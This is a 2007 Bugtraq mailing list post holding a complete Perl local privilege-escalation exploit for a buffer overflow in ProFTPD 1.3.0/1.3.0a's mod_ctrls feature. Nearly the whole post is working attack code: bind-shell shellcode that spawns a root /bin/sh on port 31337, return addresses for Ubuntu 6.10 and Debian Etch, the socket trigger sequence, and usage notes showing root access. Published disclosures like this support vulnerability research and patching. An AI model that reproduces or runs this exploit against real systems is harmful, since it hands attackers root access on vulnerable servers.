Message-ID: <20070219194341.23807.qmail@securityfocus.com>
Date: 19 Feb 2007 19:43:41 -0000
From: Guns@...0.com.ar
To: bugtraq@...urityfocus.com
Subject: ProFTPD 1.3.0/1.3.0a (mod_ctrls support) Local Buffer Overflow
 Exploit

#!/usr/bin/perl -w
 # Local Exploit
 #
 # [ Exploitation condition ]
 # - proftpd must be compiled with --enable-ctrls option
 # - local user needs permission to connect through unix socket (from proftpd.conf)
 #
 # This one works for 2.6 exploitation against gcc 4.x
 # Payload will bind /bin/sh on port 31337 with ( uid && gid = 0 )
 # I was able to use only a <bind_shell> as payload since a normal (setuid + execve) seems that doesn't work
 #
 # Tested against:
 # - ProFTPD 1.3.0/1.3.0a on Ubuntu 6.10 compiled with gcc 4.1.2
 # - ProFTPD 1.3.0/1.3.0a on Debian Etch(4.0.2-5) compiled with gcc 4.0.3
 # *** Against v1.3.0a -- server *could* remain up (in a Denial of Service condition) without binding shell
 #
 # revenge@...usi~$ ./revenge_proftpd_ctrls.pl /usr/local/var/proftpd/proftpd.sock 1
 # [ wait some secs then nc on port 31337 ]
 # anyone@...where:~$ nc <host> 31337
 # id
 # uid=0(root) gid=0(root) groups=65534(nogroup)
 # exit
 # [ after that server will deactivate ]
 #
 #
 # Silvio Luna 0x90
 #
 # http://www.0x90.com.ar/
 # <Guns@...0.com.ar>
#

use strict;
use Socket;

if ( @ARGV < 2 ) { &usage(); }

my $hellcode =
# *** Generated with libShellCode
# setuid(0) + setgid(0) + bind(/bin/sh) on port 31337
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80".
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80".
"\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1".
"\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd".
"\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3".
"\x89\xd9\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\xeb\x18\x5e\x31\xc0\x88".
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d".
"\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

my $rsock   = shift;
my $tn      = shift;

my $ret;
my $req;

if ( $tn == '1' ) { $req = "A"x512; }
else { $req = "A"x520; }

use constant LSOCK  => '/tmp/tmp.sock';
use constant CANARY => "\0\0\x0a\xff";
use constant JUNK   => "AAAAaaaaAAAAaaaa";

my %targets = (
   '1' => "\x77\xe7\xff\xff",  # Ubuntu 6.10
   '2' => "\x77\xe7\xff\xff"   # Debian Etch 4.0.2-5
   # Add here your target RET
);

my %tname = (
   '1' => "Ubuntu 6.10",
   '2' => "Debian Etch 4.0.2-5"
);

$ret = $targets{$tn};

my $buffer = $req.CANARY.JUNK.$ret.$hellcode;
my $l = length($buffer);

socket (SOCK, PF_UNIX, SOCK_STREAM, 0)  or die "Unable to create socket : $!";
my $rfile = sockaddr_un($rsock);

unlink LSOCK;
my $lfile = sockaddr_un(LSOCK);

bind (SOCK, $lfile) or die "Unable to bind to $lfile";
chmod (00700, LSOCK);

connect (SOCK, $rfile) or die "\nUnable to connect to ".$rsock."\nMaybe server is down or incorrect path\n\n";

print "\n Buffer length => ".$l."\n";
print " Target => ".$tname{$tn}."\n";

send SOCK, pack("s2", 0),0;
send SOCK, pack("s2", 1,0),0;
send SOCK, pack("C", 188).pack("C",2).pack("s1",0),0;
send SOCK, $buffer,0;

close SOCK;

print "\n [#] Request sent - try to connect on port 31337\n\n";

sub usage() {
   print "\n ProFTPD 1.3.0/1.3.0a Controls Buffer Overflow\n";
   print " Alfredo \"revenge\" Pesoli\n";
   print " <revenge\@0xcafebabe.it>\n\n";
   print "Usage : $0 <path_to_unix_socket> <target>\n";
   print "   Ex : $0 /usr/local/var/proftpd/proftpd.sock 1\n";
   print "\n Available Targets :\n";
   print "  1 => 0xffffe777 (Ubuntu 6.10 - EIP after 532 bytes)\n";
   print "  2 => 0xffffe777 (Debian Etch 4.0.2-5 - EIP after 540 bytes)\n\n";
   exit();
}

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